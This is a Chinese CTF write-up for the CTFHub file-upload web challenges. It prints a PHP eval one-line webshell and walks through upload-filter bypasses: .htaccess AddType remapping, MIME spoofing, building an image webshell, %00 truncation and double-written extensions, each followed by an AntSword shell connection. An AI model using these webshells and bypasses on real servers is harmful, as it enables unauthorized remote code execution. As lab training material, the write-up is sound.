CTFHUB-WEB-文件上传

无验证

靶机环境：

写个一句话木马文件：

<?php @eval($_POST["pass"]);?>

在靶机环境中提交一句话木马文件

提交之后根据提示，访问路径。页面没有报错，说明上传成功

接下来使用中国蚁剑工具获取shell

中国蚁剑

中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
中国蚁剑下载地址：https://github.com/AntSwordProject/AntSword-Loader
下载加载器和核心源码”antSword“。加载器则分为三个版本：Mac、Windows、Linux。
打开加载器，双击“AntSword.exe”；
第一次安装项目需要先初始化，如果你已经下载了核心源码，就选择项目源码的文件夹。（如果只下载了加载器，选择一个空文件夹，加载器会自动帮你下载核心项目源码）。

第一次安装项目需要先初始化，如果你已经下载了核心源码，就选择项目源码的文件夹。（如果只下载了加载器，选择一个空文件夹，加载器会自动帮你下载核心项目源码）。
打开后，右键添加数据

输入刚刚上传文件的网址，pass是连接密码，进行添加

添加之后可以在一个www的文件夹下找到flag信息

前端验证

靶机环境：

当上传.php文件时，提示该文件不允许上传

查看源码，发现只可以上传jpg，png和gif类型文件

将一句话木马文件的后缀改成.php.jpg

上传文件，并用burp suite抓包，删除.jpg后缀。GO！

状态码200 OK，说明上传成功了。

接下来使用中国蚁剑获得shell，得到flag

.htaccess

知识点：htaccess文件

htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess文件 (或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。
它提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录。

.htaccess 文件上传漏洞原理：

一般.htaccess可以用来留后门和针对黑名单绕过。
创建一个txt写入AddType application/x-httpd-php .png
意思是把文件名包含png的文件解析成php

题目：

靶机环境

查看源码，发现"php", “php7”, “php5”, “php4”, “php3”, “phtml”, “pht”, “jsp”, “jspa”, “jspx”, “jsw”, “jsv”, “jspf”, “jtml”, “asp”, “aspx”, “asa”, “asax”, “ascx”, “ashx”, “asmx”, “cer”, "swf"都是上传文件后缀的黑名单

新建一个txt文件写入AddType application/x-httpd-php .png 并命名为.htaccess
然后上传

写个一句话木马文件，并以.png为后缀

上传

使用中国蚁剑连接shell

得到flag

MIME绕过

MIME(（Multipurpose Internet Mail Extensions）多用途互联网邮件扩展类型

它是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式每个MIME类型由两部分组成，前面是数据的大类别，例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型，例如：
　　超文本标记语言文本 .html,html text/htm
　　普通文本 .txt text/plain
　　RTF文本. rtf application/rtf
　　GIF图形 .gif image/gif
　　JPEG图形 . jpg image/jpeg
MIME类型 （Content-Type） 和文件后缀这是两码事，不要弄混

在CTFHUB中打开本体环境好几次，都说环境实例未找到？！ 可惜了我的金币。

文件头检查

（我又环境未找到？？）

检查源码，没什么特别的
上传一个php一句话木马，文件格式不对
MIME绕过方式也不行。绕过了后缀，但是绕不开检测，那就是检测了文件内容。
制作一个一句话木马图片（图片尽量选择小一点）
一句话图片马命令：

 copy xx.png/b+xx.php/a xx.php

然后再上传图片木马文件
使用蚁剑连接获得shell，得到flag

00截断

00截断上传原理

PHP的00截断是5.2.x版本的一个漏洞，当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。
在url中%00表示ascll码中的0 ，而ascii中0作为特殊字符保留，表示字符串结束，所以当url中出现%00时就会认为读取已结束。
比如https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt
加上%00
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
就绕过了后缀限制，可以上传webshell啦。
php版本要小于5.3.4，5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态

靶机环境：

网页源码：设置了白名单

写一个一句话木马文件，并把后缀改为.php%00.jpg
上传，使用burp suite抓包
正确的做法还是数据包中必须有上传文件的path才行。结合上传路径+文件名，进行截断。

上传，显示上传成功：

使用中国蚁剑获得shell

注意连接的网址，不要写错。（我就是在这吃了亏，用错了地址，连半天连不上）
获得shell后就可以在www文件下找到flag

双写后缀

用于只将文件后缀名，例如"php"字符串过滤的场合；
　　例如:
　　　上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php hp】，那么过滤了第一个"php"字符串"后，开头的’p’和结尾的’hp’就组合又形成了【123.php】。
靶机环境：（又出现了环境未找到？？气哭）

解题思路：
上传一个一句话木马文件，文件名为123.pphphp

上传一句话木马文件
使用中国蚁剑获得shell，取得flag